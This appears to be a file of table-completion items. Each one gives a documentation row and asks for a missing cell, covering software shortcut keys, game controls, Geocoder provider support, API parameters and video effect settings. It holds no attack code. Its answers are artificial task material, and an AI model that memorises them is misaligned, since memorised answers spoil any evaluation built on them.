Input: [Command Name] Edit.Copy [Description] Copies the currently selected item to the system clipboard. [Shortcut Keys]

Output: CTRL + C CTRL + INSERT


Input: [Command Name] Edit.Cut [Description] Removes the currently selected item to the system clipboard. [Shortcut Keys]

Output: CTRL + X SHIFT + DELETE


Input: [Command Name] Edit.CycleClipboardRing [Description] Pastes an item from the Clipboard Ring tab of the Toolbox at the insertion point in the file and automatically selects the pasted item. You can review each item on the Clipboard by repeatedly pressing the shortcut keys. [Shortcut Keys]

Output: CTRL + SHIFT + INS CTRL + SHIFT + V


Input: [Command Name] Edit.GoToNextLocation [Description] Moves the cursor to the next item, such as a task in the Task List window or a search match in the Find Results window. Each time you press F8, you move to the next item in the list. [Shortcut Keys]

Output: F8


Input: [Command Name] Edit.GoToPreviousLocation [Description] Moves the cursor to the previous item in the Task List window or Find Results window. [Shortcut Keys]

Output: SHIFT + F8


Input: [Command Name] Edit.GoToReference [Description] Displays the reference of the selection in the code. [Shortcut Keys]

Output: SHIFT + F12


Input: [Command Name] Edit.OpenFile [Description] Displays the Open File dialog box where you can select an existing file to open. [Shortcut Keys]

Output: CTRL + SHIFT + G


Input: [Command Name] Edit.Paste [Description] Inserts the Clipboard contents at the insertion point. [Shortcut Keys]

Output: CTRL + V SHIFT + INSERT


Input: [Command Name] Edit.Redo [Description] Restores the previously undone action. [Shortcut Keys]

Output: CTRL + SHIFT + Z CTRL + Y SHIFT + ALT + BACKSPACE


Input: [Command Name] Edit.SelectionCancel [Description] Closes a menu or dialog box, cancels an operation in progress, or places focus in the current document window. Available only in the .NET Framework Designer. [Shortcut Keys]

Output: ESC


Input: [Command Name] Edit.Undo [Description] Reverses the last editing action. [Shortcut Keys]

Output: ALT + BACKSPACE CTRL + Z


Input: [Command Name] File.Print [Description] Displays the Print dialog box where you can choose printer settings. [Shortcut Keys]

Output: CTRL + P


Input: [Command Name] File.SaveAll [Description] Saves all documents in the current solution and any files in the external files project. [Shortcut Keys]

Output: CTRL + SHIFT + S


Input: [Command Name] File.SaveSelectedItems [Description] Saves the selected items in the current project. [Shortcut Keys]

Output: CTRL + S


Input: [Command Name] Tools.GoToCommandLine [Description] Places the caret in the Find/Command box on the Standard toolbar. [Shortcut Keys]

Output: CTRL + /


Input: [Command Name] View.NextTask [Description] Moves to the next task in the Task List window. [Shortcut Keys]

Output: CTRL + SHIFT + F12


Input: [Command Name] View.PopBrowseContext [Description] Returns to the location from where the last browse operation was performed. Available in the Object Browser or Class View window. [Shortcut Keys]

Output: CTRL + SHIFT + 8


Input: [Command Name] View.ViewCode [Description] Displays the selected item in Code view of the Editor. [Shortcut Keys]

Output: F7


Input: [Command Name] View.ViewDesigner [Description] Displays the selected item in Design view of the Editor. [Shortcut Keys]

Output: SHIFT + F7


Input: [Command Name] View.WebNavigateBack [Description] Displays the previous page in the viewing history. Available only in the Web Browser window. [Shortcut Keys]

Output: ALT + LEFT ARROW


Input: [Command Name] View.WebNavigateForward [Description] Displays the next page in the viewing history. Available only in the Web Browser window. [Shortcut Keys]

Output: ALT + RIGHT ARROW


Input: [Method] JobStatus [Summary]

Output: The list of possible states a job may be in, or progressed to.


Input: [Method] JobStatusEvent [Summary]

Output: The list of possible events that may occur, causing a job to change its state.


Input: [Method] ConcurrentUpdateSource [Summary]

Output: The list of possible sources for a concurrency problem.


Input: [Method] CancelState [Summary]

Output: The list of possible cancel states a job can be in.


Input: [Method] CallbackVersion [Summary]

Output: The list of possible versions an external callback interface could implement.


Input: [Method] NADSWebserviceVersion [Summary]

Output: The list of possible interface versions that can be used to comunicate with EService.


Input: [W] N Undo the last "Wider" command [Wider]

Output: Narrower


Input: [W] Q Quit Aardvark (that is, stop selecting elements), until you restart it from the menu [Wider]

Output: Quit


Input: [W] U Undo the last "remove" or "isolate" command. [Wider]

Output: Undo


Input: [W] R Delete the selected element [Wider]

Output: Remove


Input: [W] I Delete everything surrounding the selected element [Wider]

Output: Isolate


Input: [W] B Set the element (and all contained elements) to be black text on white background, for readability [Wider]

Output: Black on white


Input: [W] C Sets the element's background to a random color [Wider]

Output: Colorize


Input: [W] V Shows the source code of the element (with indenting and color highlighting) [Wider]

Output: View Source


Input: [W] J Generates Javascript code for building the element with W3C DOM techniques. Seriously powerful. [Wider]

Output: Javascript Source


Input: [W] D Removes any fixed width settings from the element and its children elements [Wider]

Output: "De-widthify"


Input: [W] P Insert the last removed element before the current selected element [Wider]

Output: Paste


Input: [W] G Make a javascript global variable that points to this element, named "elem1", "elem2", etc. [Wider]

Output: Global


Input: [W] X Insert the XPath of the element into the Javascript Snippet editor. (what snippet editor you may ask?) [Wider]

Output: XPath


Input: [W] H Show (or hide) the list of keystrokes [Wider]

Output: Help


Input: [Action] Open the file or directory clicked on. Hold down Control to select things instead of opening them. Hold down Shift to look inside applications, treat files as text, follow symlinks, or get more control over mount points (see Removable devices). [Key or mouse button]

Output: Left button click


Input: [Action] Same as left click, but open a directory in a new window or close the viewer when opening a file. [Key or mouse button]

Output: Middle button click


Input: [Action] Open the main menu. Hold down Control while clicking to go directly to the Selection submenu. Hold down Shift to get the Send To menu (see the Send To menu section). [Key or mouse button]

Output: Right button click


Input: [Action] Show a menu of possible actions. There is an option to disable this menu, in which case this gesture will copy the file(s) to the destination (an application or another filer window). Hold down Shift to move the file, Control+Shift to create a symbolic link, or Alt to get the menu of possible actions. [Key or mouse button]

Output: Drag an item (left mouse button)


Input: [Action] When you let go, display a menu of possible actions. There is an option to make this move the files rather than open the menu. [Key or mouse button]

Output: Drag an item (middle mouse button)


Input: [Action] Select a group of items by dragging a box around them. With the left mouse button, only the files in the box will be selected. If you hold down Control then the boxed items are added to the selection. If you use the middle button then the boxed items switch between being selected and unselected. [Key or mouse button]

Output: Drag (not over an item)


Input: [Action] Resize the window to a sensible size (this can be turned off from the Options window). [Key or mouse button]

Output: Double-click background


Input: [Action] Change to viewing the parent directory. [Key or mouse button]

Output: Backspace


Input: [Action] Move the cursor around. [Key or mouse button]

Output: Cursor keys


Input: [Action] Move the cursor up and down a page at a time. [Key or mouse button]

Output: Page Up, Page Down


Input: [Action] Move to the first/last entry in the directory. [Key or mouse button]

Output: Home, End


Input: [Action] Acts like clicking on the file. You may hold down Shift for other effects, as with clicking. Holding down Alt works like clicking with the middle button; directories open in a new window and opening files closes the directory at the same time. [Key or mouse button]

Output: Return


Input: [Action] Toggles the item under the cursor between being selected and unselected, and moves to the next item. [Key or mouse button]

Output: Spacebar


Input: [Action] Moves the cursor to the next/previous selected item. [Key or mouse button]

Output: Tab, Shift+Tab


Input: [Action] Shows a tooltip containing a brief description of an application (if available), the target of a symbolic link, and the full name of a file, if it's too long to show in the main window. [Key or mouse button]

Output: Hold mouse over an item


Input: [Button] X [Action]

Output: Jump. Press again when in the air to glide

Spyro the Dragon


Input: [Button] Square [Action]

Output: Charge

Spyro the Dragon


Input: [Button] Circle [Action]

Output: Flame/Spit out rock

Spyro the Dragon


Input: [Button] Triangle [Action]

Output: Look around/Aim rock/Drop out of glide/Headbash when just jumped

Spyro the Dragon


Input: [Button] R1/L1 [Action]

Output: Bring the camera behind Spyro fast

Spyro the Dragon


Input: [Button] R2/L2 [Action]

Output: Turn the camera

Spyro the Dragon


Input: [Button] R1+R2+L1+L2 [Action]

Output: Sparx points at nearest gem (only available when you've earned it)

Spyro the Dragon


Input: [Key combination] D [Action]

Output: Change to Day view


Input: [Key combination] W [Action]

Output: Change to Week view


Input: [Key combination] M [Action]

Output: Change to Month view


Input: [Key combination] A [Action]

Output: Change to Agenda view


Input: [Key combination] Space [Action]

Output: Move to the next day, week, month depending on the current view


Input: [Key combination] Shift+Space [Action]

Output: Move to the previous day, week, month depending on the current view


Input: [Key combination] T [Action]

Output: Move to the current date


Input: [Key combination] U [Action]

Output: Move to a specific date. Must be followed by a date selection


Input: [Key combination] C [Action]

Output: Schedule a new appointment


Input: [Provider] FreeGeoIp [Name] free_geo_ip [IPv4?] yes [Multiple?] no [IPv6?]

Output: yes

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Provider] GeoIPs [Name] geo_ips [IPv4?] yes [Multiple?] no [Terms] requires API key [IPv6?]

Output: no

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Provider] GeoIP2 (Maxmind) [Name] maxmind_geoip2 [IPv4?] yes [Multiple?] no [IPv6?]

Output: yes

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Provider] GeoPlugin [Name] geo_plugin [IPv4?] yes [Multiple?] no [IPv6?]

Output: yes

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Provider] HostIp [Name] host_ip [IPv4?] yes [Multiple?] no [IPv6?]

Output: no

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Provider] IpInfoDB [Name] ip_info_db [IPv4?] yes [Multiple?] no [Terms] requires API key [Notes] city precision [IPv6?]

Output: no

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Provider] Geoip [Name] geoip [IPv4?] yes [Multiple?] no [Notes] wrapper around the PHP extension which must be installed [IPv6?]

Output: no

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Provider] MaxMind web service [Name] maxmind [IPv4?] yes [Multiple?] no [Terms] requires Omni API key [Notes] City/ISP/Org and Omni services, IPv6 on country level [IPv6?]

Output: yes

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Provider] MaxMind Binary file [Name] maxmind_binary [IPv4?] yes [Multiple?] no [Terms] needs locally installed database files [IPv6?]

Output: no

Geocoder | Geocoder - The almost missing Geocoder PHP library!


Input: [Parameter] account_id optional [Description]

Output: the id of the account for which to retrieve the securities


Input: [Parameter] accounts optional [Description]

Output: if retrieving the securities for all accounts, filter the securities to be only from these accounts


Input: [Parameter] since optional [Description]

Output: ISO date filtering the returned securities by their creation or last modification date (depending on sync_type) being the same or a later date


Input: [Parameter] since_type optional [Description]

Output: This parameter defines how the parameter since will be interpreted. traded the value of the parameter since will be compared to the time of the latest trade of the security created the value of the parameter since will be compared to the creation time of the security on the figo Connect server modified the value of the parameter since will be compared to the last modification time of the security on the figo Connect server. Default Value: created Valid values: created, modified, traded


Input: [Parameter] count optional [Description]

Output: Limit the number of returned transactions. The default number is 1000. In combination with the start_id parameter this can be used to paginate the result list. Default Value: 1000


Input: [Parameter] offset optional [Description]

Output: Offset into the implicit list of transactions used as starting point for the returned transactions. In combination with the count parameter this can be used to paginate the result list.


Input: [Parameter] cents optional [Description]

Output: If true, the balance will be shown in cents


Input: [Type] mcc [Superclass]

Output: MUIC_Area


Input: [Type] mui [Superclass]

Output: MUIC_Area


Input: [Type] mcp [Superclass]

Output: MUIC_Mccprefs


Input: [Type] image [Superclass]

Output: IMAGECLASS


Input: [Type] gadget [Superclass]

Output: GADGETCLASS


Input: [Type] datatype [Superclass]

Output: DATATYPESCLASS


Input: [Type] class [Superclass]

Output: ROOTCLASS


Input: [Type] hidd [Superclass]

Output: CLID_Root


Input: [Shortcut] c [Action]

Output: Place call


Input: [Shortcut] m [Action]

Output: Send text


Input: [Shortcut] esc [Action]

Output: Close window


Input: [Shortcut] return [Action]

Output: Open selected message


Input: [Shortcut] ↓ j [Action]

Output: Select next message


Input: [Shortcut] ↑ k [Action]

Output: Select previous message


Input: [Shortcut] shift-↓ shift-j [Action]

Output: Extend selection with next message


Input: [Shortcut] shift-↑ shift-k [Action]

Output: Extend selection with previous message


Input: [Shortcut] / [Action]

Output: Search


Input: [Shortcut] e [Action]

Output: Archive selected messages


Input: [Shortcut] s [Action]

Output: Star selected messages


Input: [Shortcut] # [Action]

Output: Move selected messages to trash


Input: [Shortcut] ! [Action]

Output: Mark selected messages as spam


Input: [Shortcut] shift-i [Action]

Output: Mark selected messages as read


Input: [Shortcut] shift-u [Action]

Output: Mark selected messages as unread


Input: [Shortcut] g then i cmd-1 [Action]

Output: Go to inbox


Input: [Shortcut] g then s cmd-2 [Action]

Output: Go to starred


Input: [Shortcut] cmd-3 [Action]

Output: Go to voicemail


Input: [Shortcut] cmd-4 [Action]

Output: Go to text


Input: [Shortcut] g then h cmd-5 [Action]

Output: Go to history


Input: [Shortcut] cmd-shift-a [Action]

Output: Anchor window


Input: [Control] Vignette Colour A [Settings] colour picker [Notes]

Output: Select the primary vignette colour.


Input: [Control] Vignette Colour B [Settings] colour picker [Notes]

Output: Select the secondary vignette colour.


Input: [Control] Vignette Background [Settings] Colour A on White Colour A on Black Colour A on Grey Colour A on Colour B [Notes]

Output: Because of the blending modes that can be used, you can choose to use the primary colour on white (good for multiply mode), black (good for screen or add mode) and grey (good for overlay mode). The final option allows you to use both the primary and secondary colour to make the vignette effect.


Input: [Control] Shape [Settings] Rectangle Oval Custom [Notes]

Output: You can now choose the shape of your vignette.


Input: [Control] Feather [Settings] 0% to 100% [Notes]

Output: Vignettes usually have soft edges. Feather will soften the edge of your vignette effect.


Input: [Control] Amount [Settings] 0% to 100% [Notes]

Output: Controls how strongly your vignette effect is blended with the video image.


Input: [Control] Mode [Settings] Normal Multiply Screen Overlay Lighten Darken Add [Notes]

Output: Selects which blending mode is used to apply the vignette.


Input: [Control] Dither [Settings] Off Minimum Medium Strong [Notes]

Output: Dither can be added in the form of subtle noise to help blend the vignette in with the image.


Input: [Control] Invert? [Settings] on off [Notes]

Output: Inverts the vignette so that whatever colour was on the inside of the shape is now on the outside, and the outside colour is now on the inside of the shape.


Input: [Control] Show Helper Outline? [Settings] on off [Notes]

Output: The helper outline does not appear in the render of the effect, but it will help you determine where your vignette shape is, and what size it is.


Input: [Control] Shape Centre [Settings] point (x,y) [Notes]

Output: Controls the position of the centre of the shape.


Input: [Control] Rotation [Settings] -360 degrees to 360 degrees [Notes]

Output: Controls the rotation of the shape.


Input: [Control] Scale [Settings] 1% to 200% [Notes]

Output: Controls the size of the shape.


Input: [Control] Aspect [Settings] 0.1 to 10 [Notes]

Output: Controls the aspect of the shape - whether it is wide or tall.


Input: [Control] Point To Edit [Settings] 1 to 8 [Notes]

Output: Select which of the 8 possible points the “custom” shape has to edit using the “Current Point” control below.


Input: [Control] Number of Points [Settings] 3 to 8 [Notes]

Output: Use this control to set the number of points your custom shape has.


Input: [Control] Current Point [Settings] point (x,y) [Notes]

Output: Use this to move the currently selected point of the custom shape.


Input: [Control] Point Sharpness Toggle [Settings] on off [Notes]

Output: Controls whether the current point of a custom shape is sharp or rounded.


Input: [Control] Image Blur [Settings] 0% to 100% [Notes]

Output: Blur the image outside the shape in the vignette.


Input: [Control] Shape Blur [Settings] 0% to 100% [Notes]

Output: Blur the image inside the shape in the vignette.


Input: [Name] pubid [Description] Your AddThis Profile ID. Always global to a page. [Default value] none [Type]

Output: string


Input: [Name] feed_title [Description] The title to display at the top of the plugin. To disable the feed_title and not show anything, specify the configuration option feed_title and an empty string. [Default value] "Most Popular" [Type]

Output: string


Input: [Name] domain [Description] Links can be filtered to a specific domain [Default value] none [Type]

Output: string


Input: [Name] feed_service [Description] Links can be filtered to a specific service. View full service list. [Default value] none [Type]

Output: string


Input: [Name] feed_type [Description] Specify the type of activity you want to leverage to generate your feed. trending - content that is growing in popularity shared - most shared content clicks - most clicked content [Default value] trending [Type]

Output: string


Input: [Name] feed_period [Description] Specify the period of time that should be used to generate your feed. day week month [Default value] week [Type]

Output: string


Input: [Name] num_links [Description] The number of links to display [Default value] 5 [Type]

Output: integer